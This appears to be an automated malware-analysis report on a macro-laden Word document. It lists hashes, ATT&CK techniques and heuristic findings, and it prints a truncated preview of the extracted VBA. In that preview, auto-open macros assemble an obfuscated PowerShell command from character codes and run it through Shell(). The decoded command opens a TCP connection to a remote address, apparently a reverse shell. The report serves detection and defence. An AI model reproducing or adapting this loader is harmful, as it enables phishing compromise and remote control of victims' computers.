Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 adbbc035bbc7cb20…

MALICIOUS

Office (OOXML)

22.7 KB Created: 2021-07-07 03:31:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-07-13
MD5: e63c5dc4aa70f8ab9f2a7ee2779724c4 SHA-1: b5edf998bdca15a3a00216f02a59161d460ea6ea SHA-256: adbbc035bbc7cb200e7b9676d13b152a3300a440fdac3d65b0d7da8c3b8b42f8
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically triggering AutoOpen and Workbook_Open events. Critical heuristics indicate an obfuscated auto-exec loader that uses Shell() calls. The VBA script constructs a PowerShell command, likely to download and execute a second-stage payload. The presence of auto-execution macros and the use of Shell() strongly suggest a malicious document designed for initial compromise via spearphishing.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 25185 bytes
SHA-256: 4848bfe3fbe83506d9a9feca110652cbf41a75ec8c88e82bfdec2f2e45a2a3a4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub WorkBook_Open()
    Auto_Open
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Auto_Open()
    Dim exec As String
    exec = ""
    Dim ret
    exec = exec & ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108)
    exec = exec & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(34) & ChrW(32) & ChrW(59)
    exec = exec & ChrW(102) & ChrW(117) & ChrW(110) & ChrW(99) & ChrW(116) & ChrW(105) & ChrW(111) & ChrW(110) & ChrW(32)
    exec = exec & ChrW(99) & ChrW(108) & ChrW(101) & ChrW(97) & ChrW(110) & ChrW(117) & ChrW(112) & ChrW(32) & ChrW(123)
    exec = exec & ChrW(105) & ChrW(102) & ChrW(32) & ChrW(40) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101)
    exec = exec & ChrW(110) & ChrW(116) & ChrW(46) & ChrW(67) & ChrW(111) & ChrW(110) & ChrW(110) & ChrW(101) & ChrW(99)
    exec = exec & ChrW(116) & ChrW(101) & ChrW(100) & ChrW(32) & ChrW(45) & ChrW(101) & ChrW(113) & ChrW(32) & ChrW(36)
    exec = exec & ChrW(116) & ChrW(114) & ChrW(117) & ChrW(101) & ChrW(41) & ChrW(32) & ChrW(123) & ChrW(36) & ChrW(99)
    exec = exec & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(46) & ChrW(67) & ChrW(108) & ChrW(111)
    exec = exec & ChrW(115) & ChrW(101) & ChrW(40) & ChrW(41) & ChrW(125) & ChrW(59) & ChrW(32) & ChrW(32) & ChrW(32)
    exec = exec & ChrW(32) & ChrW(105) & ChrW(102) & ChrW(32) & ChrW(40) & ChrW(36) & ChrW(112) & ChrW(114) & ChrW(111)
    exec = exec & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(46) & ChrW(69) & ChrW(120) & ChrW(105) & ChrW(116)
    exec = exec & ChrW(67) & ChrW(111) & ChrW(100) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(110) & ChrW(101) & ChrW(32)
    exec = exec & ChrW(36) & ChrW(110) & ChrW(117) & ChrW(108) & ChrW(108) & ChrW(41) & ChrW(32) & ChrW(123) & ChrW(36)
    exec = exec & ChrW(112) & ChrW(114) & ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(46) & ChrW(67)
    exec = exec & ChrW(108) & ChrW(111) & ChrW(115) & ChrW(101) & ChrW(40) & ChrW(41) & ChrW(125) & ChrW(59) & ChrW(32)
    exec = exec & ChrW(32) & ChrW(32) & ChrW(32) & ChrW(101) & ChrW(120) & ChrW(105) & ChrW(116) & ChrW(59) & ChrW(125)
    exec = exec & ChrW(59) & ChrW(36) & ChrW(97) & ChrW(100) & ChrW(100) & ChrW(114) & ChrW(101) & ChrW(115) & ChrW(115)
    exec = exec & ChrW(32) & ChrW(61) & ChrW(32) & ChrW(39) & ChrW(49) & ChrW(57) & ChrW(50) & ChrW(46) & ChrW(49)
    exec = exec & ChrW(54) & ChrW(56) & ChrW(46) & ChrW(49) & ChrW(57) & ChrW(57) & ChrW(46) & ChrW(49) & ChrW(51)
    exec = exec & ChrW(51) & ChrW(39) & ChrW(59) & ChrW(36) & ChrW(112) & ChrW(111) & ChrW(114) & ChrW(116) & ChrW(32)
    exec = exec & ChrW(61) & ChrW(32) & ChrW(39) & ChrW(57) & ChrW(51) & ChrW(57) & ChrW(51) & ChrW(39) & ChrW(59)
    exec = exec & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(32) & ChrW(61)
    exec = exec & ChrW(32) & ChrW(78) & ChrW(101) & ChrW(119) & ChrW(45) & ChrW(79) & ChrW(98) & ChrW(106) & ChrW(101)
    exec = exec & ChrW(99) & ChrW(116) & ChrW(32) & ChrW(115) & ChrW(121) & ChrW(115) & ChrW(116) & ChrW(101) & ChrW(109)
    exec = exec & ChrW(46) & ChrW(110) & ChrW(101) & ChrW(116) & ChrW(46) & ChrW(115) & ChrW(111) & ChrW(99) & ChrW(107)
    exec = exec & ChrW(101) & ChrW(116) & ChrW(115) & ChrW(46) & ChrW(116) & ChrW(99) & ChrW(112) & ChrW(99) & ChrW(108)
    exec = exec & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(59) & ChrW(36) & ChrW(99) & ChrW(108) & ChrW(105)
    exec = exec & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(46) & ChrW(99) & ChrW(111) & ChrW(110) & ChrW(110) & ChrW(101)
    exec = exec & ChrW(99) & ChrW(116) & ChrW(40) & ChrW(36) & ChrW(97) & ChrW(100) & ChrW(100) & ChrW(114) & ChrW
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 40960 bytes
SHA-256: 4368681774a29e202e4712d558af50c6d8d2ed5af2ef54f5dc1437ea406b292f

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